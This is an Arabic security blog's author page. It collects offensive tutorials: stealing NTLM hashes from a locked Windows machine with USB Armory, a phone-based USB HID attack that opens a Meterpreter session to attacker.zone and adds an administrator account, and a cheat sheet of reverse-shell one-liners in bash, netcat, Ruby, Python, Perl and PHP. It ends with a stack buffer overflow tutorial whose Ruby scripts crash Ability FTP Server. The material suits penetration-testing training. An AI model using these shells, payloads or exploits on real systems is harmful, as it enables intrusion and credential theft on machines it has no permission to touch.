جميع مواضيع الكاتب صبري صالح

المهندس صبري صالح. مهندس حماية شبكات و أنظمة و فحصها معالجة و تحليل الأحداث الأمنية و المسؤول عن تطبيق معايير الـ ISO 27001 , يعمل في بيئات متعددة المنصات. حاصل على عدة شهادات تقنية.
سرقة الصلاحيات من جهاز ويندوز مغلق باستخدام USB Armory
USB Armory
موضوعنا اليوم هو موضوع جميل ومهم جدا لل pentester و ال red teamer ويصنف تحت ال Physical Social Engineering Attack. اليوم سنتعلم كيفية سرقة ال NTLM hashes من جهاز ويندوز حتى لو كان الجهاز في Locked باستخدام USB Armory device.
نستفيد من هاشات ال NTLM في سيناريوهات كثيرة منها على سبيل الذكر لا الحصر
- الدخول على ال Shared folders
- أو في هجمات ال PTH على الجهاز أو على الخوادم التي قد يدخلها المستخدم من جهازه المستهدف
- تنفيذ أوامر عن بعد على الجهاز المستهدف باستخدام psexec
- محاول كسر الهاش و الحصول على كلمة المرور الحقيقة باستخدام أداة hashcat (قد تستغرق وقت طويل جدا)
- إلخ
الجدير بالذكر هنا أنه لن تعيقنا أي Group policy تمنع استخدام ال USB storage لان الكمبوتر المستهدف سيتعرف عليه على أنه USB Ethernet device.
انطلاق مشروع كتاب Rubyfu للغة Ruby لمختبري الاختراق
نبذة عن الكتاب
اليوم نعلن رسميا عن انطلاق مشروع الكتاب المفتوح Rubyfu والمختص بالمهارات البرمجية في لغة الـ Ruby لمختبري الاختراق. فكرة الكتاب تختلف عن الكتب الأخرى من حيث عرض المحتوى والفئة المستهدفة وطريقة تطوير الكتاب. هذا الكتاب يستهدف المختصين في الختبار الاختراق (Hackers) بشكل عام والمُلمين بلغة Ruby حيث يضع بين يديك كل ما تحتاجه يوميا من مهارات برمجية لتوفير وقت وجهد البحث عن كيفية عمل سكريبت يقوم بمهمة خاصة بلغة ال Ruby. يتميز الكتاب بقلة الكلام و الدخول في الطبيق مباشرة مع وضع بعض التوضيح إن لزم الأمر. من جانب خبرة, لا يحتاج الهاكر لكتاب 200 صفحة لفهم ماهو الـ Socket لكي يقوم بكتابة سكريبت طوله 20 سطر لينجز عمله. هذا الكتاب يسمح لك بالتركيز على الهدف الذي تريد اختراقه ويوفر لك البداية السريعة لكتابة السكريبت الذي يحقق الهدف. نعم فهذا الكتاب لا يعطيك معلومة بل يعطيك خبرة.
اختراق نظام Windows 8.1 بهجوم USB HID
مقدمة
من فترة طويلة و أنا أريد استخدام نظام Kali – NetHunter المعدل للعمل مع نظام أندرويد على عدة اجهزة (Nexus 4, 5, 7, 10, OnePlusOne) وسيتم دعم المزيد مستقبلا. توزيعة NetHunter تحمل في قلبها توزيعة Kali وتستطيع أن تعمل كل ما تعمله Kali. في نفس الوقت, هناك إضافات و تسهيلات جعلت الاختراق أسهل بكثير وهناك العديد قادم في هذه التوزيعة الواعدة من تطوير offensive-security. هجوم اليوم هو HID أو Human Interface Device عن طريق استغلال توصيل الهاتف المحمول بالكمبيوتر وهذا شائع جدا ويسهل عليك أن تطلب شحن هاتفك من أي أحد يملك جهاز كمبيورت وغالبا ستقابل ترحابا بكل سهولة. هناك تطبيقات غير محدودة لهذا الهجوم وسنعرض اليوم إحداها.
الشرح سيكون على جهاز OnePlusOne لكنه يسري على جميع الاجهزة المدعومة
خطوات الاختراق
سأفترض مسبقا بأنك ملم بالمصطلحات التقنية التي ذكرت وسأتضطرق لتعريف الجديد منها في موضوعي.
1. تشغيل الأباتشي
اختر NetHunter Home Launcher
ثم اسحب الشاشة من اليسار إلى اليمين و اختر Kali Service Control
ثم فعل الأباتشي من القائمة
2. إعدادات هجوم الـ USB HID
سأحاول وضع الخطوات بشكل مفصل كي نستفيد منه في شروحات قادمة -إن شاء الله-
2.1. جعل أندرويد في USB Debugging mode
من قائمة البرامج, اذهب إلى
Settings >> Developer options >> Android debugging
2.2. وصل الهاتف بالجهاز المراد اختراقه
إذا تم التوصيل بنجاح ستجد تنبيه الـ Debugging mode في شريط تنبيهات الهاتف وبدونه لن تنجح عملية الاختراق
2.3. إعدادت الـ PowerSploit
مشروع الـ PowerSploit واحد من أجمل المشاريع الموجودة على الساحة حاليا و يستخدم إمكانيات الـ PowerShell في اختراق الويندوز. تم استخدام أحد إمكانيات هذا المشروع في توزيعة NetHunter بشكل رائع.
هذا الاستغلال يسمح لك بتشغيل اتصال HTTPS عكسي على Metasploit meterpreter
هناك أربع إعدادات رئيسية
IP Address – LHOST : وهو عنوان الجهاز المشغل للميتاسبلويت handler سنتفترض أنه attacker.zone
Port – LPORT: وهو المنفذ الذي ينصت إليه الـ metasploit handler
Payload: وهنا أنت مخير بين الـ HTTP و HTTPS طبعا الأخير أفضل
URL to Payload : غاالبا يكون نفس عنوان الهاتف المحمول -لهذا قمنا بتفعيل الأباتشي سابقا- إلا إذا كنت قد أعدت الـ Payload في مكان أخر.
2.3.1. تخطي التحكم في صلاحيات المستخدم UAC
نقوم بهذه الخطوة كي نضمن تنفيذ الهجوم بأعلى صلاحيات ممكنة والتأكد من عدم منع النظام للهجوم من تنفيذ أوامر الـ PowerSploit
2.3.3. إعداد الميتاسبلويت وتنفيذ الهجوم
تشغيل الميتاسبلويت و الـ handler على الهاتف الجوال أو على الجهاز المحدد في جزء IP Address -LHOST سابقا والذي سيتصل عليه الـ Reverse HTTPS meterpreter
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST attacker.zone
set LPORT 4444
run
وأخيرا تنفيذ الهجوم
2.4. إعدادت الـ Windows CMD
هنا نفس طريقة الهجوم السابقة -ونفس الخطوات عدا تشغيل الأباتشي- لكن ينفذ أوامر تقوم أنت بإعدادها مسبقا و يقوم بتنفيذها على جهاز الضحية بدلا من تشغيل Reverse HTTPS meterpreter shell.
مثلا سنضيف مستخدم جديد اسمه KING ونجعله في مجموعة المدراء Administrators. طبعا تستطيع تعديل و إضافة ما تشاء من أوامر
شخصيا منبهر من سهولة و خطورة الهجوم و كيف أصبح جوالك ألة اختراق متحركة و بأقل الخطوات
تحياتي واحترامي
إعداد Metasploit مع قاعدة البيانات Postgress على Kali
أصبحت الأمور أكثر استقرارا و أكثر سهولة في Kali. في هذا الموضوع السريع سنضع طريقة ربط مشروع Metasploit بقاعدة بيانات PostGres لتسريع عملية تشغيل الميتاسبلويت وعملية البحث فيها.
1. تشغيل الخدمات
service postgresql start
service metasploit start
– لتشغيل الخدمات تلقائيا بعد إعادة تشغيل النظام
update-rc.d postgresql enable
update-rc.d metasploit enable
2. تشغيل مشروع Metasploit
msfconsole
[box style=”red”]
ملاحظة: لا تقم بتشغيل الميتاسبلويت من المسار الرئيسي
/opt/metasploit/apps/pro/msf3
بل استخدم الأمر السابق مباشرة من سطر الأوامر
[/box]
3. للتأكد
msf > db_status
[*] postgresql connected to msf3
msf >
انشاء اتصال عكسي من سطر واحد وبعدة لغات
[toc]
هذه معاني المتغيرات التي ستجدها في الشرح. استبدلها عند التطبيق.
$ATTCKER_IP: هو عنواد المهاجم
$ATTACKER_PORT: هو المنفذ الذي ينصت عليه الضحية
$VICTIM_IP: هو عنواد المهاجم
$VICTIM_PORT: هو المنفذ الذي ينصت عليه الضحية
Listining
تستطيع الإنصات بأي طريقة تحبها
– NetCat
nc -lvp $ATTACKER_PORT
أو
ncat -lvp $ATTACKER_PORT
– Metasploit
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=$ATTCKER_IP LPORT=$ATTACKER_PORT E
PAYLOAD => windows/shell/reverse_tcp
LHOST => $ATTCKER_IP
LPORT => $ATTCKER_PORT
[*] Started reverse handler on $ATTCKER_IP:$ATTCKER_PORT
[*] Starting the payload handler...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to $VICTIM_IP
[*] Command shell session 1 opened ($ATTCKER_IP:$ATTCKER_PORT -> $VICTIM_IP:47657) at 2013-03-15 06:51:17 -0500
Reverse connection
طبعا كل ما سيطبق هنا هو على جهاز الضحية.
[box style=”tip”]
إذا كان جهاز الضحية ويندوز سنستبدل “/bin/bash” أو “/bin/sh” بـ cmd.exe
[/box]
Bash
bash -i >& /dev/tcp/$ATTCKER_IP/$ATTCKER_PORT 0>&1
NetCat
nc -nvv $ATTCKER_IP $ATTCKER_PORT -e /bin/bash
أو
nc -c /bin/sh $ATTCKER_IP $ATTCKER_PORT
Ruby
ruby -r socket -e ' f=TCPSocket.open("$ATTCKER_IP",$ATTCKER_PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTCKER_PORT",$ATTCKER_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
perl -e 'use Socket;$i="$ATTCKER_PORT";$p=$ATTCKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Php
php -r '$sock=fsockopen("$ATTACKER_IP",$ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
مصدر 1
Buffer Overflow tutorial – Part 2: Stack Based Overflow
[toc]
1. مقدمة
في هذه السلسلة, لن أتكلم عن أساسيات ثغرات الـ Buffer overflow فهناك شروحات وفت هذا الجزء. و سأتطرق لما أجده مهم في عملية التطبيق من معلومات و قد أخصص أجزاء نظرية إذا دعت الحاجة.
قبل أن نبدأ أرجوا أن توفر المتطلبات التالية في بيئتك لنبدأ العمل بشكل سريع وسهل.
نظام التشغيل: Linux
نظام تشغيل الهدف : Windows XP(SP1,SP2,SP3), Windows server 2003 بمعمارية 32-bit
الأدوات: الرجاء تحميل الأدوات من موضوع Buffer Overflow tutorial – Part 1: Tools
البرنامج المصاب: Ability Server 2.34 – قم بوضع مجلد البرنامج في “C:\”
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/abilitywebserver.zip”]Download AbilityWebServer.zip[/button]
2. Verify the bug
هناك ثلاثة طرق رئيسية لتفحص ثغرة Overflow في برنامج معين
1- Code review: حيث يتوفر لديك الشيفرة المصدرية أو Source code وتقوم بمراجعة اكواد البرنامج و البحث عن الدوال غير الأمنة أو استخدام برامج فحص ومراجعة الأكواد.
2- Reverse enginering: هنا تقوم بالهندسة العكسية لاستخراج الشيفرة المصدرية ثم تقوم بما كنت ستقوم به في ال Code review.
3- Fuzzing: وهنالن ترى الكود الأصلي أبدا, بل ستتعامل مع مدخلات البرنامج وطرق التعامل معها سواء كان المدخلات ملف أو اتصال أو أي نوع من أنواع المدخلات. وهنا سنستخدم عملية الـ Fuzzing
2.1. Fuzzing
في هذه العملية يجب علينا معرفة طريقة سير البرنامج أو الخدمة ومعرفة جميع الأماكن التي تستخدم لإدخال قيمة أو عدة قيم للبرنامج. أيضا يجب أن نعرف إمكانية التعامل مع هذه المدخلات. فمثلا برنامج تشغيل صوتيتا مدخلاته المنطقية هي ملف صوتي و لو كان يستخدم Themes إضافية للبرنامج فقد حصلنا على مدخل أخر وهو ملف يحتوي تصميم مظهر البرنامج. أيضا قد يقوم برنامج الصوتيات يقوم بعمل تحديث من الإنترنت أو البحث في الانترنت على ملفات صوتية, وفي هذه الحالة أضفنا مدخلا أخر وهو فتح اتصال واستقبال وإرسال. نفس الأمر مع برنامج يقدم مثلا خدمة FTP فيجب معرفة أوامر Protocol ال FTP و بالباطبع سيأخذ اسم مستخدم وكلمة مرور لهما طول محدد كحد أقصى. وهكذا
أولا نشغل الخادم و نجهز إعداداته كالتالي
ثم
ثم تأكد من إزالة علامة الصح من أمام اختيار File write. حيث هنا تكمن ثغرة الـ STOR. لا تنسى أن تقفل ثم تفعل خدمة الـ FTP بعد تنفيذ هذه العملية. ستلاحظ في الصورة السابقة كلمة Deactivate أمام كل خدمة.
الأن شغل الـ immunity debugger ودرج الـ process الخاصة بـ Ability FTP server في المنقح
بهذه الطريقة
ثم نشغل البرنامج من الـ Debugger لأنه يجمد عمل البرنامج بمجرد إدراجه بداخله
[box style=”alert”]
من الضروري جدا إجادة التعامل مع ال Debugger لأنني لن أستطيع أن أعيد كل هذه الصور في كل موضوع. وفي نهاية الموضوع يوجد فيدو توضيحي لكامل الموضوع خطوة بخطوة. أيضا لن أستطيع أن أعمل فيديو في كل المواضيع لهذا وجب التنبيه.
[/box]
الأن, سننشئ سكريبت بسيط يعمل عملية Fuzzing بسيطة و سيرسل 2000 حرف A بعد تسجيل الدخول إلى خادم الـ FTP وتنفيذ أمر STOR أي أنه سيقوم بتخزين 2000 ملف أسمهم A في الخادم. وسنقوم بتطوير هذا السكريبت حتى يصلى إلى استغلال كامل بإذن الله
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
buffer = "A" * 2000
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("APPE " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR1.rb”]Download ability-STOR1.rb[/button]
بعد تحميل الملف, اعطه صلاحيات التنفذ ثم تفذه , وستكرر هذه العملية في كل الملفات القادمة
chmod +x ability-STOR1.rb
ruby ability-STOR1.rb
ستجد شكل المنقح كالتالي, ويعني أنه حصل خطأ وتجاوز في الذاكرة. (اضغط على الصورة للتكبير)
– لاحظ في الصورة أننا وصلنا لـ EIP register حيث يحتوي على “41414141” -و التي تعني “AAAA” بالـ Hexadecimal- وهو محور عملنا وأول أهم الأمور في العملية.
– لاحظ في الصورة أننا وصلنا إلى ESP register – سنتطرق لهذا لاحقا
[box style=”alert”]
في كل مرة سننفذ السكريبت يجب أن نعمل إعادة تشغيل للبرنامج من خلال المنقح
ثم تكمل تشغيله
[/box]
3. Finding EIP exact address
ذكرنا أن الـ EIP هو محور عملنا وأننا لو تحكمنا به سنتحكم بسير عمل البرنامج لأنه المؤشر الذي يشير إلى العنوان القادم الذي سيتم تنفيذ محتواه. بما أننا أرسلنا مجموعة كبيرة من الـ A’s فإننا لا نعرف بالظبط ما هو عنوان EIP .. دعنا نقسم الـ 2000 إلى 4 ونجعلها 500 حرف A و 500 حرف B و 500 حرف C و 500 حرف D و ننفذ السكريبت وننظر ماذا حدث في الذاكرة.
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
buffer = "A" * 500
buffer += "B" * 500
buffer += "C" * 500
buffer += "D" * 500
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR2.rb”]Download ability-STOR2.rb[/button]
– لاحظ أن الـ EIP فيه قيمة “42424242” أي BBBB وهذا يعني أن عنوان الـ EIP في ال 500 الثانية,, نظرة عن قرب
جميل, اتضحت الصورة الأن. لكن ماهو ليس بجميل هو أنه من الصعب تكرار وتقسيم الحروف إلى أجزاء أصغر فأصغر حتى نصل إلى المسافة الحقيقة. ولحل هذه المشكلة ننتقل للفقرة التالية
3.1. Sending unique pattern string
الأن جاء دور الأداة Buffer Overflow Kit لكي نخرج 2000 حرف مميزين ثم بعد ذلك نأخذ القيمة الموجودة في الـ EIP ونبحث عنها في الـ 2000 حرف لنعرف بعد كم حرف(byte) يقعد الـ EIP بالظبط
ruby bofk-cli.rb --pattern-create 2000
---[ Pattern create ]-----------------------------------------------------------
[+] Size: 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
------------------------------------------------------------------------------
لنضع هذا في السكريبت وننفذه
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabry Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close
#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"
[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR3.rb”]Download ability-STOR3.rb[/button]
لننظر إلى وضع الـ EIP Register الأن
الأن ننسخ قيمة الـ EIP و في حالتنا “42336742” ونبحث عنها من ضمن الـ Pattern الذي أرسلنا سابقا بهذه الطريقة
ruby bofk-cli.rb --pattern-offset 42336742
---[ Pattern offset ]----------------------------------------------------------
[+] Actual pattern length: 20280 chars.
[+] Matches: 1 times.
969
------------------------------------------------------------------------------
الأن عرفنا أننا نصل إلى الـ EIP بعد 969 byte.
[box style=”info”]
هناك أداتان في مشروع الميتا سبلويت تقوم بنفس ما تقوم به أداتنا لكننا نجمع الأدوات المتفرقة لتكون في مكان واحد فأحيانا لا نحتاج الميتاسبلويت برمته في عملنا إلا لهذه المهمة.
./pattern_create.rb 200
./pattern_offset.rb 42336742
[/box]
3.2. Colorizing registers
هذه الخطوة على الرغم من بساطتها إلا أنها مهمة لضمان أن عملك صحيح حتى هذه المرحلة والتي هي الفاصل للإنتقال للخطوة الهامة القادمة.
في هذه الخطوة سنقوم بإرسل 969 حرف A و نقوم بوضع BBBB في الـ EIP وبقية ال 2000 سنضعها حرف C. هذه أعتبرها تلوين للـ Registers لكي نعرف هل عملنا صحيح أم لا, هل فعلا حسبنا عنوان الـ EIP بشكل صحيح أم لا.
#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'
junk = "A" * 969
eip = "B" * 4
rest = "C" * (2000 - (eip + junk).size)
buffer = junk + eip + rest
#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
